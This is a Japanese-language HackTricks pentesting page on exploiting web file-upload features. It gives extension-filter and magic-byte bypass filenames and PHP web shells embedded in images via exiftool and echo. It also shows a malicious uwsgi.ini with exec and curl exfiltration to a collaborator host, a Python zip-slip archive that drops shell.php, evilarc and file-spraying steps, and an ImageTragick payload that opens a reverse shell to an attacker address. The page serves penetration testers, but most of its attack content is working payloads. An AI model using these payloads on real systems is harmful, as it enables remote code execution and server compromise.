ファイルアップロード

Reading time: 28 minutes

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

ファイルアップロード一般的手法

他の有用な拡張子:

  • PHP: .php, .php2, .php3, .php4, .php5, .php6, .php7, .phps, .pht, .phtm, .phtml, .pgif, .shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module
  • PHPv8での作業: .php, .php4, .php5, .phtml, .module, .inc, .hphp, .ctp
  • ASP: .asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml
  • Jsp: .jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action
  • Coldfusion: .cfm, .cfml, .cfc, .dbm
  • Flash: .swf
  • Perl: .pl, .cgi
  • Erlang Yaws Web Server: .yaws

ファイル拡張子チェックのバイパス

  1. 適用される場合、以前の拡張子をチェックします。また、いくつかの大文字を使用してテストします: pHp, .pHP5, .PhAr ...
  2. 実行拡張子の前に有効な拡張子を追加してチェックします(以前の拡張子も使用):
  • file.png.php
  • file.png.Php5
  1. 特殊文字を末尾に追加してみてください。Burpを使用してすべてのasciiおよびUnicode文字をブルートフォースすることができます。 (以前に言及した拡張子を使用することもできます)
  • file.php%20
  • file.php%0a
  • file.php%00
  • file.php%0d%0a
  • file.php/
  • file.php.\
  • file.
  • file.php....
  • file.pHp5....
  1. サーバー側の拡張子パーサーをだまして保護をバイパスしてみてください。拡張子を二重にするか、ジャンクデータ(nullバイト)を拡張子の間に追加します。 より良いペイロードを準備するために以前の拡張子を使用することもできます。
  • file.png.php
  • file.png.pHp5
  • file.php#.png
  • file.php%00.png
  • file.php\x00.png
  • file.php%0a.png
  • file.php%0d%0a.png
  • file.phpJunk123png
  1. 前のチェックに別の拡張子の層を追加します:
  • file.png.jpg.php
  • file.php%00.png%00.jpg
  1. 有効な拡張子の前にexec拡張子を置き、サーバーが誤って設定されていることを祈ります。(.phpで終わらないが、.php拡張子を持つものはすべてコードを実行するApacheの誤設定を悪用するのに便利です):
  • 例: file.php.png
  1. WindowsでのNTFS代替データストリーム(ADS)を使用します。この場合、禁止された拡張子の後と許可された拡張子の前にコロン文字「:」が挿入されます。その結果、サーバー上に禁止された拡張子を持つ空のファイルが作成されます(例: “file.asax:.jpg”)。このファイルは、他の技術を使用して後で編集することができます。 “::$data”パターンを使用して非空のファイルを作成することもできます。したがって、このパターンの後にドット文字を追加することも、さらなる制限をバイパスするのに役立ちます(例: “file.asp::$data.”)
  2. ファイル名の制限を破ることを試みます。有効な拡張子が切り捨てられ、悪意のあるPHPが残ります。 AAA<--SNIP-->AAA.php
# Linuxの最大255バイト
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # ここで4を引き、.pngを追加
# ファイルをアップロードし、どれだけの文字を許可するか応答を確認します。236としましょう
python -c 'print "A" * 232'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
# ペイロードを作成
AAA<--SNIP 232 A-->AAA.php.png

コンテンツタイプ、マジックナンバー、圧縮およびリサイズのバイパス

  • Content-Typeチェックをバイパスするには、Content-Type ヘッダーを次のように設定します: image/png , text/plain , application/octet-stream
  1. Content-Type ワードリスト: https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt
  • ファイルの先頭に実際の画像のバイトを追加してマジックナンバーチェックをバイパスします(_file_コマンドを混乱させます)。または、メタデータ内にシェルを挿入します:
    exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg
    \ または、画像内にペイロードを直接挿入することもできます:
    echo '<?php system($_REQUEST['cmd']); ?>' >> img.png
  • 画像に圧縮が追加されている場合、たとえば、PHP-GDのような標準のPHPライブラリを使用している場合、前述の技術は役に立ちません。ただし、PLTEチャンク ここで定義された技術を使用して、圧縮に耐えるテキストを挿入できます。
  • コードのあるGithub
  • ウェブページが画像をリサイズしている可能性もあります。たとえば、PHP-GD関数imagecopyresizedまたはimagecopyresampledを使用しています。ただし、IDATチャンク ここで定義された技術を使用して、圧縮に耐えるテキストを挿入できます。
  • コードのあるGithub
  • 画像のリサイズに耐えるペイロードを作成する別の技術として、PHP-GD関数thumbnailImageを使用します。ただし、tEXtチャンク ここで定義された技術を使用して、圧縮に耐えるテキストを挿入できます。
  • コードのあるGithub

その他のチェックするトリック

  • すでにアップロードされたファイルの名前を変更する脆弱性を見つけます(拡張子を変更するため)。
  • ローカルファイルインクルージョンの脆弱性を見つけてバックドアを実行します。
  • 情報漏洩の可能性:
  1. 同じファイル同時に何度もアップロードします。
  2. 既存のファイルまたはフォルダ名前でファイルをアップロードします。
  3. “.”、 “..”、または “…”を名前に持つファイルをアップロードします。たとえば、ApacheのWindowsでは、アプリケーションがアップロードされたファイルを「/www/uploads/」ディレクトリに保存する場合、「.」というファイル名は「/www/」ディレクトリに「uploads」というファイルを作成します。
  4. NTFSで簡単に削除できないファイル(例: “…:.jpg”)をアップロードします。(Windows)
  5. 無効な文字(例: |<>*?”)を名前に持つファイルをWindowsにアップロードします。(Windows)
  6. 予約された禁止された名前(例: CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, LPT9)を持つファイルをWindowsにアップロードします。
  • 実行可能ファイル(.exe)または**.html**(あまり疑わしくない)をアップロードして、被害者が誤って開いたときにコードを実行させることも試みてください。

特殊な拡張子のトリック

PHPサーバーにファイルをアップロードしようとしている場合は、コードを実行するための**.htaccess**トリックを確認してください
ASPサーバーにファイルをアップロードしようとしている場合は、コードを実行するための**.config**トリックを確認してください

.pharファイルはJavaの.jarのようなもので、PHP用であり、PHPファイルのように使用できます(PHPで実行したり、スクリプト内に含めたりできます...)

.inc拡張子は、ファイルをインポートするためだけに使用されるPHPファイルに時々使用されるため、ある時点で誰かがこの拡張子を実行可能にした可能性があります。

Jetty RCE

JettyサーバーにXMLファイルをアップロードできる場合、新しい *.xml および *.war が自動的に処理されるためRCEを取得できます 次の画像に示すように、XMLファイルを$JETTY_BASE/webapps/にアップロードし、シェルを期待してください!

https://twitter.com/ptswarm/status/1555184661751648256/photo/1

uWSGI RCE

この脆弱性の詳細な調査については、元の研究を確認してください: uWSGI RCEの悪用

リモートコマンド実行(RCE)脆弱性は、.ini構成ファイルを変更する能力がある場合、uWSGIサーバーで悪用できます。uWSGI構成ファイルは、"magic"変数、プレースホルダー、および演算子を組み込むために特定の構文を利用します。特に、@(filename)として使用される'@'演算子は、ファイルの内容を含めるために設計されています。uWSGIでサポートされているさまざまなスキームの中で、"exec"スキームは特に強力で、プロセスの標準出力からデータを読み取ることを可能にします。この機能は、.ini構成ファイルが処理されるときに、リモートコマンド実行や任意のファイルの書き込み/読み取りなどの悪意のある目的に操作できます。

以下は、さまざまなスキームを示す有害なuwsgi.iniファイルの例です:

ini
[uwsgi]
; read from a symbol
foo = @(sym://uwsgi_funny_function)
; read from binary appended data
bar = @(data://[REDACTED])
; read from http
test = @(http://[REDACTED])
; read from a file descriptor
content = @(fd://[REDACTED])
; read from a process stdout
body = @(exec://whoami)
; curl to exfil via collaborator
extra = @(exec://curl http://collaborator-unique-host.oastify.com)
; call a function returning a char *
characters = @(call://uwsgi_func)

ペイロードの実行は、設定ファイルの解析中に発生します。設定が有効化され、解析されるためには、uWSGIプロセスを再起動する必要があります(クラッシュ後やサービス拒否攻撃のために)またはファイルを自動再読み込みに設定する必要があります。自動再読み込み機能が有効になっている場合、変更を検出すると指定された間隔でファイルが再読み込みされます。

uWSGIの設定ファイル解析の緩い性質を理解することが重要です。具体的には、議論されたペイロードはバイナリファイル(画像やPDFなど)に挿入でき、潜在的な悪用の範囲をさらに広げます。

wget File Upload/SSRF Trick

場合によっては、サーバーが**wgetを使用してファイルをダウンロードしており、URL指定できることがあります。この場合、コードはダウンロードされるファイルの拡張子がホワイトリストに含まれているかを確認して、許可されたファイルのみがダウンロードされることを保証しているかもしれません。しかし、このチェックはバイパス可能です。
linuxにおける
ファイル名最大長は255ですが、wgetはファイル名を236文字に切り詰めます。"A"*232+".php"+".gif"という名前のファイルをダウンロードできます。このファイル名はチェックバイパスします(この例では".gif"有効な拡張子です)が、wgetはファイル名を"A"*232+".php"変更**します。

bash
#Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
python3 -m http.server 9080
bash
#Download the file
wget 127.0.0.1:9080/$(python -c 'print("A"*(236-4)+".php"+".gif")')
The name is too long, 240 chars total.
Trying to shorten...
New name is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.
--2020-06-13 03:14:06--  http://127.0.0.1:9080/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.gif
Connecting to 127.0.0.1:9080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 10 [image/gif]
Saving to: ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’

AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[===============================================>]      10  --.-KB/s    in 0s

2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]

注意してください。別のオプションとして、このチェックをバイパスするために考えているかもしれないのは、HTTPサーバーが別のファイルにリダイレクトすることです。これにより、最初のURLがチェックをバイパスし、その後wgetが新しい名前のリダイレクトされたファイルをダウンロードします。これは、wgetが --trust-server-names パラメータを使用している場合を除いて 機能しません。なぜなら、wgetは元のURLに示されたファイル名でリダイレクトされたページをダウンロードするからです

ツール

  • Upload Bypass は、ペンテスターやバグハンターがファイルアップロードメカニズムをテストするのを支援するために設計された強力なツールです。さまざまなバグバウンティ技術を活用して、脆弱性の特定と悪用のプロセスを簡素化し、Webアプリケーションの徹底的な評価を保証します。

ファイルアップロードから他の脆弱性へ

以下は、アップロードによって達成できることのトップ10リストです(こちらから):

  1. ASP / ASPX / PHP5 / PHP / PHP3: Webシェル / RCE
  2. SVG: ストレージXSS / SSRF / XXE
  3. GIF: ストレージXSS / SSRF
  4. CSV: CSVインジェクション
  5. XML: XXE
  6. AVI: LFI / SSRF
  7. HTML / JS : HTMLインジェクション / XSS / オープンリダイレクト
  8. PNG / JPEG: ピクセルフラッド攻撃 (DoS)
  9. ZIP: LFIを介したRCE / DoS
  10. PDF / PPTX: SSRF / BLIND XXE

Burp拡張

GitHub - PortSwigger/upload-scanner: HTTP file upload scanner for Burp Proxy

マジックヘッダーバイト

  • PNG: "\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03["
  • JPG: "\xff\xd8\xff"

他のファイルタイプについては、https://en.wikipedia.org/wiki/List_of_file_signaturesを参照してください。

Zip/Tarファイルの自動解凍アップロード

サーバー内で解凍されるZIPをアップロードできる場合、2つのことができます。

シンボリックリンク

他のファイルへのソフトリンクを含むリンクをアップロードし、解凍されたファイルにアクセスすることで、リンクされたファイルにアクセスします。

ln -s ../../../index.php symindex.txt
zip --symlinks test.zip symindex.txt
tar -cvf test.tar symindex.txt

異なるフォルダに展開する

展開中にディレクトリ内にファイルが予期せず作成されることは重大な問題です。この設定が悪意のあるファイルアップロードによるOSレベルのコマンド実行を防ぐと最初は考えられていましたが、ZIPアーカイブ形式の階層的圧縮サポートとディレクトリトラバーサル機能が悪用される可能性があります。これにより、攻撃者は制限を回避し、ターゲットアプリケーションの展開機能を操作することで安全なアップロードディレクトリから脱出することができます。

そのようなファイルを作成するための自動化されたエクスプロイトはevilarc on GitHubで入手可能です。このユーティリティは次のように使用できます:

python
# Listing available options
python2 evilarc.py -h
# Creating a malicious archive
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php

さらに、evilarcを使ったシンボリックリンクのトリックも選択肢です。目的が/flag.txtのようなファイルをターゲットにすることであれば、そのファイルへのシンボリックリンクをシステムに作成する必要があります。これにより、evilarcが操作中にエラーに遭遇しないことが保証されます。

以下は、悪意のあるzipファイルを作成するために使用されるPythonコードの例です:

python
#!/usr/bin/python
import zipfile
from io import BytesIO

def create_zip():
f = BytesIO()
z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
z.writestr('../../../../../var/www/html/webserver/shell.php', '<?php echo system($_REQUEST["cmd"]); ?>')
z.writestr('otherfile.xml', 'Content of the file')
z.close()
zip = open('poc.zip','wb')
zip.write(f.getvalue())
zip.close()

create_zip()

圧縮を悪用したファイルスプレーイング

詳細については元の投稿を確認してください: https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/

  1. PHPシェルの作成: PHPコードは、$_REQUEST変数を通じて渡されたコマンドを実行するように書かれています。
php
<?php
if(isset($_REQUEST['cmd'])){
$cmd = ($_REQUEST['cmd']);
system($cmd);
}?>
  1. ファイルスプレーイングと圧縮ファイルの作成: 複数のファイルが作成され、これらのファイルを含むzipアーカイブが組み立てられます。
bash
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
root@s2crew:/tmp# zip cmd.zip xx*.php
  1. Hexエディタまたはviによる修正: zip内のファイル名がviまたはhexエディタを使用して変更され、「xxA」を「../」に変更してディレクトリを横断します。
bash
:set modifiable
:%s/xxA/..\//g
:x!

ImageTragic

このコンテンツを画像拡張子でアップロードして脆弱性を悪用します**(ImageMagick , 7.0.1-1)**(exploitから)

push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
pop graphic-context

PNGファイルへのPHPシェルの埋め込み

PNGファイルのIDATチャンクにPHPシェルを埋め込むことで、特定の画像処理操作を効果的に回避できます。PHP-GDのimagecopyresizedおよびimagecopyresampled関数は、この文脈で特に関連性が高く、画像のリサイズやリサンプリングに一般的に使用されます。埋め込まれたPHPシェルがこれらの操作に影響されない能力は、特定のユースケースにおいて重要な利点です。

この技術の詳細な探求、方法論および潜在的な応用については、次の記事で提供されています: "Encoding Web Shells in PNG IDAT chunks"。このリソースは、プロセスとその影響についての包括的な理解を提供します。

詳細情報は次のリンクにあります: https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/

ポリグロットファイル

ポリグロットファイルはサイバーセキュリティにおいてユニークなツールとして機能し、複数のファイル形式に同時に有効に存在できるカメレオンのような役割を果たします。興味深い例としては、GIFとRARアーカイブの両方として機能するハイブリッドであるGIFARがあります。このようなファイルはこのペアリングに限らず、GIFとJSやPPTとJSのような組み合わせも可能です。

ポリグロットファイルの主な利点は、タイプに基づいてファイルをスクリーニングするセキュリティ対策を回避できる能力にあります。さまざまなアプリケーションでは、JPEG、GIF、DOCなどの特定のファイルタイプのみをアップロードすることが許可されており、潜在的に有害な形式(例:JS、PHP、またはPharファイル)によるリスクを軽減しています。しかし、ポリグロットは複数のファイルタイプの構造基準に適合することで、これらの制限を巧妙に回避できます。

適応性があるにもかかわらず、ポリグロットには制限があります。たとえば、ポリグロットがPHARファイル(PHp ARchive)とJPEGを同時に具現化している場合でも、そのアップロードの成功はプラットフォームのファイル拡張子ポリシーに依存することがあります。システムが許可される拡張子に厳格である場合、ポリグロットの単なる構造的二重性ではアップロードを保証するには不十分な場合があります。

詳細情報は次のリンクにあります: https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a

PDFのように有効なJSONをアップロードする

PDFファイルとして偽装して有効なJSONファイルをアップロードすることでファイルタイプの検出を回避する方法(**このブログ記事**からの技術):

  • mmmagicライブラリ: 最初の1024バイトに%PDFマジックバイトが含まれていれば有効です(投稿から例を取得)
  • pdflibライブラリ: JSONのフィールド内に偽のPDF形式を追加し、ライブラリがPDFだと認識するようにします(投稿から例を取得)
  • fileバイナリ: ファイルから最大1048576バイトを読み取ることができます。それより大きなJSONを作成し、内容をJSONとして解析できないようにし、その中に実際のPDFの初期部分を入れると、PDFだと思われます。

参考文献

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする